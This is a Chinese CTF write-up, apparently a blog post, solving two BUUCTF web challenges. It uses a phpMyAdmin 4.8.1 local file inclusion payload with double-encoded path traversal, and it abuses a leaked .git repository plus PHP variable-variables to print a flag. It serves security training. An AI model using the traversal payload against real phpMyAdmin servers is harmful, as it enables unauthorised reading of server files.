BUUCTF Web [GWCTF 2019]我有一个数据库1 & [BJDCTF2020]Mark loves cat1

[GWCTF 2019]我有一个数据库1

 启动靶机,发现并没什么有用信息,用dirsearch跑一下

爆破出了几个phpmyadmin目录下的几个文件

看一下第一个url 

可以看到版本是4.8.1,百度一下这个版本的通用漏洞,phpmyadmin 4.8.1 本地文件包含漏洞

既然可以文件包含,直接构造payload:

phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag

拿到flag         flag{603c33be-3f63-4868-97b3-f5468d21c535}  

[BJDCTF2020]Mark loves cat1

启动靶机,测试了几个功能点,没什么发现,先上工具跑吧

 虽然dirsearch只跑了百分之六,但是已经跑了好几个git目录下的文件了,猜测这道题关于git泄露的,所以直接换GitHack跑 (我爱脚本)

发现两个php文件,读源码

<?php
    include 'flag.php';

    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';

    foreach($_POST as $x => $y){   
        $$x = $y;  //POST型声明至当前文件
    }

    foreach($_GET as $x => $y){
        $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值   
    }

    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
            
            exit($handsome); //exit显然能利用
        }
    }
    //如果GET型和POST型中都没有变量flag,则退出
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
        exit($yds);
    }

    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
        exit($is);
    }

    echo "the flag is: ".$flag;

?>

 代码审计,需要传带flag的参数,尝试绕过第二个if语句

构造payload:

/index.php?yds=flag

 拿到flag (页面最下方)      ​​​​​flag{9a97bf85-5e8f-41c4-9a85-d1416d634378}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WmVicmE=

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值